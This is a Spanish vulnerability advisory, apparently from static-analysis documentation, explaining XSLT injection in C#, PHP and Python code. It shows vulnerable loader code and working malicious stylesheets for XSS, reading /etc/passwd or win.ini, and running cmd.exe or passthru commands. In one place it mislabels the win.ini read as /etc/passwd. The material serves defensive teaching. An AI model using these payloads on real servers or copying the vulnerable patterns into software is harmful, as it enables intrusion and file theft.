XSLT Injection

El procesamiento de una hoja de estilos XSL sin validar puede permitir a un usuario malintencionado cambiar la estructura y el contenido del XML resultante, incluir archivos arbitrarios del sistema de archivos o ejecutar código arbitrario.

La inyección de XSLT se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.

2. Los datos se escriben en una hoja de estilos XSL.


Las aplicaciones normalmente utilizan la hoja de estilos XSL para transformar documentos XML de un formato a otro. Las hojas de estilos XSL incluyen funciones especiales que mejoran el proceso de transformación, pero presentan vulnerabilidades adicionales si no se utilizan correctamente.

Si un usuario malintencionado tiene la capacidad de escribir elementos XSL en una hoja de estilos, podrá modificar la semántica de las hojas de estilos XSL y el procesamiento. Un usuario malintencionado podría modificar el resultado de una hoja de estilos de tal modo que se habilite un ataque XSS (Cross-Site Scripting), exponer el contenido de los recursos del sistema de archivos locales o ejecutar un código arbitrario.

Ejemplo 1: aquí se muestra parte del código que es vulnerable a ataques de XSLT:

  ...
  String xmlUrl = Request["xmlurl"];
  String xslUrl = Request["xslurl"];

  XslCompiledTransform xslt = new XslCompiledTransform();
  xslt.Load(xslUrl);

  xslt.Transform(xmlUrl, "books.html");
  ...
  

El Example 1 genera tres vulnerabilidades de seguridad diferentes cuando el atacante pasa el XSL identificado al procesador XSTL:

1. XSS:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <script>alert(123)</script>
    </xsl:template>
  </xsl:stylesheet>

  

Cuando se procesa la hoja de estilos XSL, la etiqueta <script> se representa en el explorador de la víctima, lo que permite la ejecución de un ataque de Cross-Site Scripting.

2. Lectura de archivos arbitrarios en el sistema de archivos del servidor:

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    </xsl:template>
  </xsl:stylesheet>

  

La hoja de estilos XSL anterior devolverá el contenido del archivo /etc/passwd.

3. Ejecución de código arbitrario:

El procesador XSLT tiene la capacidad de exponer los métodos de lenguaje nativo como funciones XSLT si no se deshabilitan.

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>

  

La hoja de estilos anterior ejecutará el comando "cmd.exe" en el servidor.

El procesamiento de una hoja de estilos XSL sin validar puede permitir a un usuario malintencionado cambiar la estructura y el contenido del XML resultante, incluir archivos arbitrarios del sistema de archivos o ejecutar código arbitrario.

La inyección de XSLT se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.

2. Los datos se escriben en una hoja de estilos XSL.


Las aplicaciones normalmente utilizan la hoja de estilos XSL para transformar documentos XML de un formato a otro. Las hojas de estilos XSL incluyen funciones especiales que mejoran el proceso de transformación, pero presentan vulnerabilidades adicionales si no se utilizan correctamente.

Si un usuario malintencionado tiene la capacidad de escribir elementos XSL en una hoja de estilos, podrá modificar la semántica de las hojas de estilos XSL y el procesamiento. Un usuario malintencionado podría modificar el resultado de una hoja de estilos de tal modo que se habilite un ataque XSS (Cross-Site Scripting), exponer el contenido de los recursos del sistema de archivos locales o ejecutar un código arbitrario. Si el usuario malintencionado tenía el control completo sobre la hoja de estilos enviada a la aplicación, dicho usuario también podría ejecutar un ataque de inyección XXE (entidad externa de XML).

Ejemplo 1: aquí se muestra parte del código que es vulnerable a ataques de XSLT:

...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...

El código en Example 1 genera tres vulnerabilidades de seguridad diferentes cuando el atacante pasa el XSL identificado al procesador XSTL:

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

Cuando se procesa la hoja de estilos XSL, la etiqueta <script> se representa en el explorador de la víctima, lo que permite la ejecución de un ataque de Cross-Site Scripting.

2. Lectura de archivos arbitrarios en el sistema de archivos del servidor:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

La hoja de estilos XSL anterior devolverá el contenido del archivo /etc/passwd.

3. Ejecución de código arbitrario de PHP:

El procesador XSLT tiene la capacidad de exponer los métodos de lenguaje nativo de PHP como funciones XSLT al habilitar "registerPHPFunctions".

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>

La hoja de estilos anterior dará como resultado la ejecución del comando "ls" en el servidor.

El procesamiento de una hoja de estilos XSL sin validar puede permitir a un usuario malintencionado cambiar la estructura y el contenido del XML resultante, incluir archivos arbitrarios del sistema de archivos o ejecutar código arbitrario.

La inyección de XSLT se produce cuando:

1. Los datos entran en un programa desde un origen que no es de confianza.

2. Los datos se escriben en una hoja de estilos XSL.


Las aplicaciones normalmente utilizan la hoja de estilos XSL para transformar documentos XML de un formato a otro. Las hojas de estilos XSL incluyen funciones especiales que mejoran el proceso de transformación, pero presentan vulnerabilidades adicionales si no se utilizan correctamente.

Si un usuario malintencionado tiene la capacidad de escribir elementos XSL en una hoja de estilos, podrá modificar la semántica de las hojas de estilos XSL y el procesamiento. Un usuario malintencionado podría modificar el resultado de una hoja de estilos de tal modo que se habilite un ataque XSS (Cross-Site Scripting), exponer el contenido de los recursos del sistema de archivos locales o ejecutar un código arbitrario.

Ejemplo 1: aquí se muestra parte del código que es vulnerable a ataques de XSLT:

...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...

El código en Example 1 genera tres vulnerabilidades de seguridad diferentes cuando el atacante pasa el XSL identificado al procesador XSTL:

1. XSS:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <script>alert(123)</script>
  </xsl:template>
</xsl:stylesheet>

Cuando se procesa la hoja de estilos XSL, la etiqueta <script> se representa en el explorador de la víctima, lo que permite la ejecución de un ataque de Cross-Site Scripting.

2. Lectura de archivos arbitrarios en el sistema de archivos del servidor:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

La hoja de estilos XSL anterior devolverá el contenido del archivo /etc/passwd.